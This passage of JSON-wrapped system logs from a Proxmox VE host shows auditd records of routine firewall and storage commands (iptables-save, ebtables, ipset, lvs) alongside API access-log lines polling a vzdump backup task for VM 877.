subj=unconfined key=\"exec\""} {"@timestamp":1781965885437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.437:67534): arch=c000003e syscall=59 success=yes exit=0 a0=59cbcc572e90 a1=59cbcc56fc10 a2=59cbcc551680 a3=5 items=2 ppid=64854 pid=64860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965056951,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:35 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=EXECVE msg=audit(1781965879.634:67498): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265416,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.416:60291): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965625743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.743:66415): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.434:67533): arch=c000003e syscall=59 success=yes exit=0 a0=59cbca97eac8 a1=7ffd8d8806b0 a2=59cbcc551680 a3=59cbca96224e items=2 ppid=64854 pid=64856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965056951,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:35 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965055223&start=0&limit=510 HTTP/1.1\" 200 826"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=EXECVE msg=audit(1781965879.628:67495): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964265411,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.411:60290): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965625734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.734:66414): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.433:67532): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8d880670 a1=59cbcc558310 a2=59cbcc551680 a3=5 items=2 ppid=64854 pid=64855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965055931,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965875281,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.281:67492): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964265406,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.406:60289): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965625728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.728:66413): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59d00f9ff740 items=0 ppid=1156 pid=63788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.428:67530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965055931,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781965875277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.277:67491): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964265399,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.399:60288): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965625724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.724:66412): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.420:67529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965055931,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:34 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965054213&start=0&limit=510 HTTP/1.1\" 200 826"} {"@timestamp":1781965875276,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.276:67490): argc=1 a0=\"date\""} {"@timestamp":1781964265395,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.395:60287): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965625717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.717:66411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc143b10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.412:67528): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965055931,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:34 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.271:67488): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964265387,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.387:60286): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965625708,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.708:66410): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130d10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.404:67527): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965055931,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 477"} {"@timestamp":1781965875264,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.264:67487): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265381,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.381:60285): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965625700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.700:66409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.396:67526): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965054938,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 477"} {"@timestamp":1781965875255,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.255:67486): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265378,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.378:60284): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965625691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.691:66408): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130d10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.392:67525): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=560f8706f740 items=0 ppid=1156 pid=64849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965054938,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:34 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965053438&start=0&limit=510 HTTP/1.1\" 200 826"} {"@timestamp":1781965875248,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.248:67485): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964265375,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.375:60283): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965625684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.684:66407): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.390:67524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f4440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965054938,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:33 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965053205&start=0&limit=510 HTTP/1.1\" 200 826"} {"@timestamp":1781965875241,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.241:67484): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964265374,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.374:60282): argc=1 a0=\"date\""} {"@timestamp":1781965625675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.675:66406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.384:67523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965054938,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:33 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965875235,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.235:67482): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964265370,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.370:60280): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965625667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.667:66405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.378:67522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed5e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053811,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 702"} {"@timestamp":1781965875230,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.230:67481): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964265363,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.363:60279): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965625663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.663:66404): arch=c000003e syscall=59 success=yes exit=0 a0=5ec342929b20 a1=5ec342935e00 a2=5ec342903680 a3=5 items=2 ppid=63774 pid=63780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.372:67521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a500 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053811,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:32 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965052196&start=0&limit=510 HTTP/1.1\" 200 746"} {"@timestamp":1781965875222,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.222:67480): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964265356,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.356:60278): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965625655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.655:66403): arch=c000003e syscall=59 success=yes exit=0 a0=5ec338ac0ac8 a1=7ffde9946460 a2=5ec342903680 a3=5ec338aa424e items=2 ppid=63774 pid=63776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.365:67520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed5e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64845 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053811,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:32 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965875217,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.217:67479): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964265351,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.351:60277): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965625654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.654:66402): arch=c000003e syscall=59 success=yes exit=0 a0=7ffde9946420 a1=5ec3429251c0 a2=5ec342903680 a3=5 items=2 ppid=63774 pid=63775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.359:67519): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb82ddca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64844 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965875211,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.211:67478): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964265345,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.345:60276): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965625650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.650:66400): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.352:67518): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:32 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965051416&start=0&limit=510 HTTP/1.1\" 200 746"} {"@timestamp":1781965875204,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.204:67477): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964265338,"@rawstring":"node=pve type=EXECVE msg=audit(1781964265.338:60275): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965625638,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.638:66399): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.345:67517): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965875197,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.197:67476): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964264793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964264.793:60274): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965625629,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.629:66398): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885341,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.341:67516): arch=c000003e syscall=59 success=yes exit=0 a0=56ef6ce8a0a0 a1=56ef6ce86e20 a2=56ef6ce68680 a3=5 items=2 ppid=64835 pid=64841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:31 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965051203&start=0&limit=510 HTTP/1.1\" 200 746"} {"@timestamp":1781965875189,"@rawstring":"node=pve type=EXECVE msg=audit(1781965875.189:67475): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964264747,"@rawstring":"node=pve type=EXECVE msg=audit(1781964264.747:60273): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965625615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.615:66397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b00550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885338,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.338:67515): arch=c000003e syscall=59 success=yes exit=0 a0=56ef38c2cac8 a1=7ffe9d7a7d10 a2=56ef6ce68680 a3=56ef38c1024e items=2 ppid=64835 pid=64837 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" 